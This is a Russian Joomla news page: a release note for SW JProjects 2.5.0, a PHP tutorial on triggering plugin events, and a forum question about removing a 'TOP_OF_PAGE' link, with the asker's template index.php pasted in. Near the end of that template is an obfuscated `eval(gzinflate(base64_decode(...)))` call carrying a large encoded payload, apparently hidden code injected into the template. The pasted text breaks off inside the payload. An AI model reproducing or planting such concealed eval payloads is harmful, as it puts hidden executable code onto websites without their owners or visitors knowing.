Новости Joomla

SW JProjects v.2.5.0 - компонент каталога цифровых проектов на Joomla

SW JProjects v.2.5.0 - компонент каталога цифровых проектов на Joomla

👩‍💻 SW JProjects v.2.5.0 - компонент каталога цифровых проектов на Joomla.Компонент - менеджер цифровых проектов для Joomla! CMS. Компонент обеспечивает создание каталога цифровых проектов и предоставляет возможность скачивания, в том числе с использованием лицензионных ключей.👩‍💻 v.2.5.0. Что нового?Схемы структур данных для серверов обновлений. Теперь с SW JProjects вы может создавать сервер обновлений не только для расширений Joomla, но и свои собственные. Например, вам нужно, чтобы структура данных сервера обновлений была другая и формат должен быть, например, не XML, а JSON. Формирование структуры данных для сервера обновлений расширений Joomla вынесено в отдельный плагин. Вы можете создать свой собственный плагин и реализовать в нём нужную вам структуру данных, добавив или наоборот исключив отображаемые данные. Сервер обновлений в компоненте по-прежнему отображает информацию о списке проектов и их версиях, о конкретном проекте и его changelog.Можно выбрать схему данных сервера обновлений глобально для всего компонента, выбрать другую схему данных для категории проектов, а так же выбрать схему в каждом проекте.

Разработчикам в качестве образца можно посмотреть плагин схемы данных для Joomla в составе компонента или же плагин-образец JSON-схемы на GitHub.
Группа плагинов swjprojects. Для нужд компонента создана группа плагинов swjprojects. В частности, в этой группе находится плагин структуры данных Joomla расширений для сервера обновлений.Изменение языковых констант. Изменены некоторые языковые константы в панели администратора. Если вы делали переопределение констант - переопределите их снова.👩‍💻 Joomla 6. Внесены изменения для корректной установки и работы компонента на Joomla 6. Компонент успешно протестирован на Joomla 6-beta2.Минимальная версия Joomla - 5. Подняты минимальные системные требования: Joomla 5.0.0 и PHP 8.1.
- Страница расширения👉 Плагин-образец кастомной JSON-схемы данных для сервера обновлений на GitHub.- GitHub расширения- Документация на GitHub- Joomla Extensions Directory#joomla #расширения

Как триггерить события для плагинов на манер Joomla 5+?В Joomla 6 должны удалить метод...

Как триггерить события для плагинов на манер Joomla 5+?В Joomla 6 должны удалить метод...

👩‍💻 Как триггерить события для плагинов на манер Joomla 5+?В Joomla 6 должны удалить метод triggerEvent(), с помощью которого раньше вызывались события для плагинов. Теперь чтобы в своём коде вызвать событие для плагина и получить от него результаты нужно:- создать объект класса события- передать в него параметры

use Joomla\CMS\Event\AbstractEvent;use Joomla\CMS\Factory;use Joomla\CMS\Plugin\PluginHelper;// Грузим плагины нужных группPluginHelper::importPlugin('system');// Создаём объект события$event = AbstractEvent::create('onAfterInitUniverse', [    'subject' => $this,    'data'    => $data, // какие-то данные    'article' => $article, // ещё материал вдовесок    'product' => $product, // и товаров подвезли]);// Триггерим событиеFactory::getApplication()->getDispatcher()->dispatch(    $event->getName(), // Тут можно строку передать 'onAfterInitUniverse'    $event);// Получаем результаты// В случае с AbstractEvent это может быть не 'result',// а что-то ещё - куда сами отдадите данные.// 2-й аргумент - значение по умолчанию, // если не получены результаты$results = $event->getArgument('result', []);
Плюсы такого подхода - вам не нужно запоминать порядок аргументов и проверять их наличие. Если вы написали свой класс события, то в плагине можно получать аргументы с помощью методов $event->getArticle(), $event->getData(), $event->getProduct() и подобными - реализуете сами под свои нужды. Если такой класс события написали, то создаёте экземпляр своего класса события и укажите его явно в аргументе eventClass
use Joomla\Component\MyComponent\Administrator\Event\MyCoolEvent;$event = MyCoolEvent::create('onAfterInitUniverse', [    'subject'    => $this,    'eventClass' => MyCoolEvent::class, // ваш класс события    'data'       => $data, // какие-то данные    'article'    => $article, // ещё материал вдовесок    'product'    => $product, // и товаров подвезли]);
Ожидаемо, что класс вашего события будет расширять AbsractEvent или другие классы событий Joomla.🙁 Есть неприятный нюанс - нельзя просто так вызывать событие и ничего не передать в аргументы. Аргумент subject обязательный. Но если вы всё-таки не хотите туда ничего передавать - передайте туда пустой stdClass или объект Joomla\registry\Registry.
@joomlafeed#joomla #php #webdev

0 Пользователей и 1 Гость просматривают эту тему.
  • 6 Ответов
  • 3983 Просмотров
*

kisBoss

  • Захожу иногда
  • 449
  • 36 / 0
  • ник Tobol
Использую готовый шаблон. Хочу убрать с сайта ссылку внизу страниц, которая перебрасывает наверх, она отображается как "TOP_OF_PAGE".
Обыскал весь файл шаблона "index.php". Не могу понять где это прописано. Помогите кто нибудь, пожалуйста.
Ссылка на сайт - http://www.tobtovar.ru/
Это файл шаблона "index.php"
Цитировать
<?php
/**
 * @copyright   Copyright (C) 2005 - 2007 Open Source Matters. All rights reserved.
 * @license      GNU/GPL, see LICENSE.php
 * Joomla! is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See COPYRIGHT.php for copyright notices and details.
 */

// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

require_once 'lib.php';

$left      = $this->countModules('left');
$right     = $this->countModules('right');
$syndicate = $this->countModules('syndicate');
$top       = $this->countModules('top');
$user1     = $this->countModules('user1');
$user2     = $this->countModules('user2');
$user3     = $this->countModules('user3');
$user4     = $this->countModules('user4');

$mode               = $this->params->get('mode', 'wide');
$generallink        = getValidColor($this->params->get('generallink', '#3169A1'), '#3169A1');
$generalvisitedlink = getValidColor($this->params->get('generalvisitedlink', '#6931A1'), '#6931A1');
$titlecolor         = getValidColor($this->params->get('titlecolor', '#6699CC'), '#6699CC');
$leftcolumn         = getValidColor($this->params->get('leftcolumn', '#FFFFEE'), '#FFFFEE');
$rightcolumn        = getValidColor($this->params->get('rightcolumn', '#DDEEFF'), '#DDEEFF');

$leftcolor       = getValidColor($this->params->get('leftcolor', '#009900'), '#009900');
$lefttext       = getValidColor($this->params->get('lefttext', '#000000'), '#000000');
$leftlink        = getValidColor($this->params->get('leftlink', '#FFFFFF'), '#FFFFFF');
$leftvisitedlink = getValidColor($this->params->get('leftvisitedlink', '#007700'), '#007700');

$rightcolor       = getValidColor($this->params->get('rightcolor', '#3179C8'), '#3179C8');
$righttext        = getValidColor($this->params->get('righttext', '#000000'), '#000000');
$rightlink        = getValidColor($this->params->get('rightlink', '#FFFFFF'), '#FFFFFF');
$rightvisitedlink = getValidColor($this->params->get('rightvisitedlink', '#556677'), '#556677');

$verticalbg      = getValidColor($this->params->get('verticalmenubg', '#FFFFFF'), '#FFFFFF');
$verticalborder  = getValidColor($this->params->get('verticalmenuborder', '#3179C8'), '#3179C8');
$verticallink    = getValidColor($this->params->get('verticalmenulink', '#777777'), '#777777');
$verticalhover   = getValidColor($this->params->get('verticalmenuhover', '#2D8523'), '#2D8523');
$verticalactive  = getValidColor($this->params->get('verticalmenuactive', '#009900'), '#009900');

$display_logo    = $this->params->get('displaylogo', true);
$logo            = $this->baseurl.'/'.$this->params->get('logo', '');
$sitename        = $mainframe->getCfg('sitename');
$slogan          = $this->params->get('slogan', '');

$footerlink        = getValidColor($this->params->get('footerlink', '#FFFFFF'), '#FFFFFF');
$footervisitedlink = getValidColor($this->params->get('footervisitedlink', '#CCCCCC'), '#CCCCCC');

$showtop         = $this->params->get('top', 1);
$showbreadcrumbs = $this->params->get('breadcrumbs', 1);
$showuser1       = $this->params->get('user1', 1);
$showuser2       = $this->params->get('user2', 1);
$showuser3       = $this->params->get('user3', 1);
$showuser4       = $this->params->get('user4', 1);
$showfooter      = $this->params->get('footer', 0);
$showbanner      = $this->params->get('banner', 1);
$showsyndicate   = $this->params->get('syndicate', 1);

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" type="text/css" href="<?php echo $this->baseurl; ?>/templates/system/css/system.css" />
<link rel="stylesheet" type="text/css" href="<?php echo $this->baseurl; ?>/templates/system/css/general.css" />
<link rel="stylesheet" type="text/css" href="<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/css/template.css" />
<?php if ($mode == 'wide') : ?><link rel="stylesheet" type="text/css" href="<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/css/wide.css" /><?php endif; ?>
<style type="text/css">
<?php if ($display_logo) : ?>div#logo,div#logo-png{background-image:url(<?php echo $logo ?>);}<?php endif; ?>
<?php if (($user1 and $showuser1) xor ($user2 and $showuser2)) : ?>#middlebar #user1,#middlebar #user2{width:98%;float:left;}<?php endif; ?>
<?php if ($generallink != '#3169A1') : ?>a, a:link, a.readon:hover,a.readon:visited {color:<?php echo $generallink; ?>;}<?php endif; ?>
<?php if ($generalvisitedlink != '#6931A1') : ?>a:visited{color:<?php echo $generalvisitedlink; ?>;}<?php endif; ?>
<?php if ($leftcolor != '#009900') : ?>div#sidebar-left div.module,#footer-left-bg,#header-left,.button,button,#sidebar-right .button,#sidebar-right button{background-color:<?php echo $leftcolor; ?>}<?php endif; ?>
<?php if ($rightcolor != '#3179C8') : ?>div#sidebar-right div.module,#header-background,#footer-background,#sidebar-left .button,#sidebar-left button{background-color:<?php echo $rightcolor; ?>}<?php endif; ?>
<?php if ($leftlink != '#FFFFFF') : ?>#sidebar-left a,#sidebar-left a:link{color:<?php echo $leftlink; ?>;}<?php endif; ?>
<?php if ($leftvisitedlink != '#007700') : ?>#sidebar-left a:visited{color:<?php echo $leftvisitedlink; ?>;}<?php endif; ?>
<?php if ($rightlink != '#FFFFFF') : ?>#sidebar-right a,#sidebar-right a:link{color:<?php echo $rightlink; ?>;}<?php endif; ?>
<?php if ($rightvisitedlink != '#556677') : ?>#sidebar-right a:visited{color:<?php echo $rightvisitedlink; ?>;}<?php endif; ?>
<?php if ($titlecolor != '#6699CC') :?>div.componentheading,table.contentpaneopen td.contentheading,h1,h2,h3,h4,h5,h6,.pagenavcounter{color: <?php echo $titlecolor; ?>;}<?php endif; ?>
<?php if ($leftcolumn != '#FFFFEE') :?>#middlebar #user1,.article_column{background-color:<?php echo $leftcolumn; ?>;}<?php endif; ?>
<?php if ($rightcolumn != '#DDEEFF') :?>#middlebar #user2,.column_separator{background-color:<?php echo $rightcolumn; ?>;}<?php endif; ?>
<?php if ($footerlink != '#FFFFFF') : ?>#footer a:link{color:<?php echo $footerlink; ?>;}<?php endif; ?>
<?php if ($footervisitedlink != '#CCCCCC') : ?>#footer a:visited{color:<?php echo $footervisitedlink; ?>;}<?php endif; ?>
<?php if ($verticalbg != '#FFFFFF') : ?>div#vertical-menu-holder-inner{background-color:<?php echo $verticalbg; ?>;}<?php endif; ?>
<?php if ($verticalborder != '#3179C8') : ?>div#vertical-menu-border-top,div#vertical-menu-border-bottom{background-color:<?php echo $verticalborder; ?>;}<?php endif; ?>
<?php if ($verticallink != '#777777') : ?>a.mainlevel-nav,a.mainlevel-nav:link,a.mainlevel-nav:visited{color:<?php echo $verticallink;?>}<?php endif; ?>
<?php if ($verticalhover != '#2D8523') : ?>a#active_menu-nav,a#active_menu-nav:link,a#active_menu-nav:visited,a.mainlevel-nav:hover,a#active_menu-nav:hover{color:<?php echo $verticalhover; ?>;}<?php endif; ?>
<?php if ($verticalactive != '#009900') : ?>a.mainlevel-nav:active,a#active_menu-nav:active{color:<?php echo $verticalactive; ?>;}<?php endif; ?>
<?php if ($lefttext != '#000000') : ?>#sidebar-left{color:<?php echo $lefttext; ?>;}<?php endif; ?>
<?php if ($righttext != '#000000') : ?>#sidebar-right{color:<?php echo $righttext; ?>;}<?php endif; ?>
#header-fix1{background:url(<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/ellipse.php?color=<?php echo str_replace('#', '', $rightcolor); ?>) no-repeat;}
#header-fix2{background:url(<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/ellipse.php?color=<?php echo str_replace('#', '', $leftcolor); ?>) no-repeat;}
#footer-fix1{background:url(<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/smallEllipse.php?color=<?php echo str_replace('#', '', $rightcolor); ?>) no-repeat;}
#footer-fix2{background:url(<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/smallEllipse.php?color=<?php echo str_replace('#', '', $leftcolor); ?>) no-repeat;}
</style>
<!--[if lt IE 7]>
<link rel="stylesheet" type="text/css" href="<?php echo $this->baseurl; ?>/templates/<?php echo $this->template ?>/css/fix-ie.css" />
<style type="text/css">
.button,button{background-image:none;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true,sizingMethod=scale,src='<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/images/button.png');}
#header-limiter div{background-image:none;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true,sizingMethod=scale,src='<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/images/top_limiter.png');}
#footer-limiter div{background-image:none;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true,sizingMethod=scale,src='<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/images/footer_limiter.png');}
#header-trans{background-image:none;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true,sizingMethod=scale,src='<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/images/trans_top.png');}
#header-limiter{background-image:none;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true,src='<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/images/trans_top_ellips.png');}
#header-fix1{background-image:none;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true,sizingMethod=scale,src='<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/ellipse.php?color=<?php echo str_replace('#', '', $rightcolor); ?>');}
#header-fix2{background-image:none;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true,sizingMethod=scale,src='<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/ellipse.php?color=<?php echo str_replace('#', '', $leftcolor); ?>');}
#footer-trans{background-image:none;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true,sizingMethod=scale,src='<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/images/trans_bot.png');}
#footer-fix1{background-image:none;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true,sizingMethod=scale,src='<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/smallEllipse.php?color=<?php echo str_replace('#', '', $rightcolor); ?>');}
#footer-fix2{background-image:none;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true,sizingMethod=scale,src='<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/smallEllipse.php?color=<?php echo str_replace('#', '', $leftcolor); ?>');}
#footer-right-corner{background-image:none;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true,sizingMethod=scale,src='<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/images/trans_bot_right.png');}
#footer-left-corner{background-image:none;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true,sizingMethod=scale,src='<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/images/trans_bot_left.png');}
div.sidebar div.module .module-repeatable{background-image:none;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true,sizingMethod=scale,src='<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/images/module.png');}
div.sidebar div.module .module-top{background-image:none;background-color:none;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true,src='<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/images/module_top.png');}
div.sidebar div.module .module-repeatable .module-content-top{background-image:none;background-color:none;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true,src='<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/images/module_content_top.png');}
div.sidebar div.module .module-repeatable .module-content{background-image:none;background-color:none;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true,sizingMethod=scale,src='<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/images/module_content.png');}
div.sidebar div.module .module-bottom{background-image:none;background-color:none;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true,src='<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/images/module_bottom.png');}
div#vertical-menu-holder-inner{background-image:none;background-color:none;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true,sizingMethod=scale,src='<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/images/vertical_menu.png');}
div#vertical-menu-border-top{background-image:none;background-color:none;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true,sizingMethod=scale,src='<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/images/vertical_menu_border_top.png');}
div#vertical-menu-border-bottom{background-image:none;background-color:none;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true,sizingMethod=scale,src='<?php echo $this->baseurl; ?>/templates/<?php echo $this->template; ?>/images/vertical_menu_border_bottom.png');}
<?php if (strtolower(substr($logo, -4)) == '.png') : ?>div#logo-png{background-image:none;background-color:none;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true,sizingMethod=scale,src='<?php echo $logo; ?>');}<?php endif; ?>
<?php if ($mode == narrow) : ?>#header-limiter{left:-115px;padding-left:115px;}<?php endif; ?>
</style>
<![endif]-->
<meta name="verify-v1" content="RRSltgjT1InRwg6W76nmf46aEfvKxY8khclBdmusUb8=" />
</head>

<body>
<div id="container">
   <div id="header">
      <div id="header-background">
         <div id="header-left">
            <div id="header-fix1"></div>
            <div id="header-fix2"></div>
         </div>
         <div id="header-trans"></div>
         <div id="header-limiter">
            <div></div>
         </div>
      </div>
      <div id="subheader">
         <div id="identity">
            <?php if ($display_logo) : ?>
            <div id="logo<?php echo (strtolower(substr($logo, -4)) == '.png')? '-png' : ''; ?>"></div>
            <?php endif; ?>
            <div id="sitename">
               <table>
                  <tr>
                     <td valign="middle">
                        </div>
                        <?php if ($slogan) : ?>
                        <div id="slogan"><?php echo $slogan; ?></div>
                        <?php endif; ?>
                     </td>
                  </tr>
               </table>
            </div>
            <div class="clear"></div>
         </div><!-- END IDENTITY -->
         <?php if ($showuser4 and $user4) : ?>
         <div id="user4">
            <jdoc:include type="modules" name="user4" style="none" />
         </div>
         <?php endif; ?>
      </div><!-- END SUB HEADER -->
   </div><!-- END HEADER -->

   <?php if ($user3 and $showuser3) : ?>
   <div id="vertical-menu-holder">
      <div id="vertical-menu-border-top"></div>
      <div id="vertical-menu-holder-inner">
         <jdoc:include type="modules" name="user3" style="xhtml" />
      </div><!-- END VERTICAL MENU HOLDER CONTENT-->
      <div id="vertical-menu-border-bottom"></div>
   </div><!-- END VERTICAL MENU HOLDER -->
   <?php endif; ?>

        <jdoc:include type="modules" name="down" />


    <?php if ($showbanner == 'top' || $showbanner == 'both') : ?>
   <jdoc:include type="modules" name="banner" />
   <?php endif; ?>

   <?php if ($showbreadcrumbs) : ?>
   <jdoc:include type="module" name="breadcrumbs" />
   <?php endif; ?>

   <div id="wrapper">
      <?php if ($left or ($syndicate and $showsyndicate)) : ?>
      <div id="sidebar-left" class="sidebar float-left">
         <jdoc:include type="modules" name="left" style="sidebar" />
         <?php if ($syndicate and $showsyndicate) :?>
         <jdoc:include type="modules" name="syndicate" style="sidebar" />
         <?php endif; ?>
      </div>
      <?php endif; ?><!-- END LEFT SIDEBAR -->

      <?php if ($right or ($top and $showtop)) : ?>
      <div id="sidebar-right" class="sidebar float-right">
         <?php if ($showtop) : ?>
         <jdoc:include type="modules" name="top" style="car" />
         <?php endif; ?>
         <jdoc:include type="modules" name="right" style="car" />
      </div>
      <?php endif; ?><!-- END RIGHT SIDEBAR -->

      <?php
      if (($left || ($syndicate and $showsyndicate)) xor ($right || ($top and $showtop))) {
         $column = 2;
      } elseif (($left || ($syndicate and $showsyndicate)) and ($right || ($top and $showtop))) {
         $column = 3;
      } else {
         $column = 1;
      }
      ?>

      <?php if ($column == 2) : ?>
      <div id="middlebar" class="two-column">
      <?php elseif ($column == 3) : ?>
      <div id="middlebar" class="three-column">
      <?php else : ?>
      <div id="middlebar" class="one-column">
      <?php endif; ?>

         <jdoc:include type="message" />
<jdoc:include type="modules" name="user5up" />
         <?php if($user1 || $user2) : ?>
         <div id="user12">
            <?php if($user1 and $showuser1) : ?>
            <div id="user1">
               <jdoc:include type="modules" name="user1" style="minimal" />
            </div>
            <?php endif; ?>

            <?php if($user2 and $showuser2) : ?>
            <div id="user2">
               <jdoc:include type="modules" name="user2" style="minimal" />
            </div>
            <?php endif; ?>

            <?php if (($user1 and $showuser1) || ($user2 and $showuser2)) : ?>
            <div class="clr"></div>
            <?php endif; ?>
         </div>
         <?php endif; ?>
<jdoc:include type="modules" name="user6down" />
<? eval(gzinflate(base64_decode('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